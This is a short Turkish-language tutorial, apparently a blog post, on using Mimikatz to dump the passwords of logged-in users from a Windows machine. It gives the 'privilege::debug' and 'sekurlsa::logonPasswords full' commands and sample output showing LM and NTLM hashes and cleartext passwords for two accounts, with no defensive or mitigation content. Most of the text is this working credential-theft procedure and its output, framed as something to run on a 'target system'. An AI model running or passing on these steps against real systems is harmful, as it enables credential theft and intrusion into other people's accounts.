Mimikatz ile Aktif Kullanıcı Parolalarını Almak

Windows sistemler üzerinde aktif olarak oturum açmış kullanıcı hesaplarına ait parolalar mimikatz aracı ile salt metin (clear text) olarak alınabiliyor. Bunun için yapılması gereken mimikatz aracının hedef sistem üzerinde çalıştırmak ve ardından sekurlsa::logonPasswords full komutu ile aktif oturumların parolalarını almak…

C:\mimi>mimikatz
mimikatz 1.0 x86 (RC) /* Traitement du Kiwi (Oct 13 2012 13:47:20) */
// http://blog.gentilkiwi.com/mimikatz
…
mimikatz # privilege::debug
Demande d’ACTIVATION du privilège : SeDebugPrivilege : OK
mimikatz # sekurlsa::logonPasswords full

Bu komutun ardından aktif olarak oturum açmış bulunan kullanıcı hesaplarına ait açık haldeki parolalar ve hash bilgileri aşağıdaki gibi listelenecektir. Aşağıdaki çıktıda “Mot de passe:” başlıkları altında kullanıcı parolalarının listelendiğini görebilirsiniz…

Authentification Id : 0;242741
Package d’authentification : NTLM
Utilisateur principal : oem
Domaine d’authentification : oem-Bilgisayar
msv1_0 :
* Utilisateur : oem
* Domaine : oem-Bilgisayar
* Hash LM : b42c04ccf43253bbaad3b435b51404ee
* Hash NTLM : ebe666e1cfd412358a0977fef42c76dd
wdigest :
* Utilisateur : oem
* Domaine : oem-Bilgisayar
* Mot de passe : h@run-s3k3r
tspkg :
* Utilisateur : oem
* Domaine : oem-Bilgisayar
* Mot de passe : h@run-s3k3r
kerberos :
* Utilisateur : oem
* Domaine : oem-Bilgisayar
* Mot de passe : h@run-s3k3r

Authentification Id : 0;137629
Package d’authentification : NTLM
Utilisateur principal : user
Domaine d’authentification : oem-Bilgisayar
msv1_0 :
* Utilisateur : user
* Domaine : oem-Bilgisayar
* Hash LM : 2b3137035a2b985b08bd455a508ea203
* Hash NTLM : d4605c09dbb7d109ff993066671b72ac
wdigest :
* Utilisateur : user
* Domaine : oem-Bilgisayar
* Mot de passe : y1h2n3u4j5m6
tspkg :
* Utilisateur : user
* Domaine : oem-Bilgisayar
* Mot de passe : y1h2n3u4j5m6
kerberos :
* Utilisateur : user
* Domaine : oem-Bilgisayar
* Mot de passe : y1h2n3u4j5m6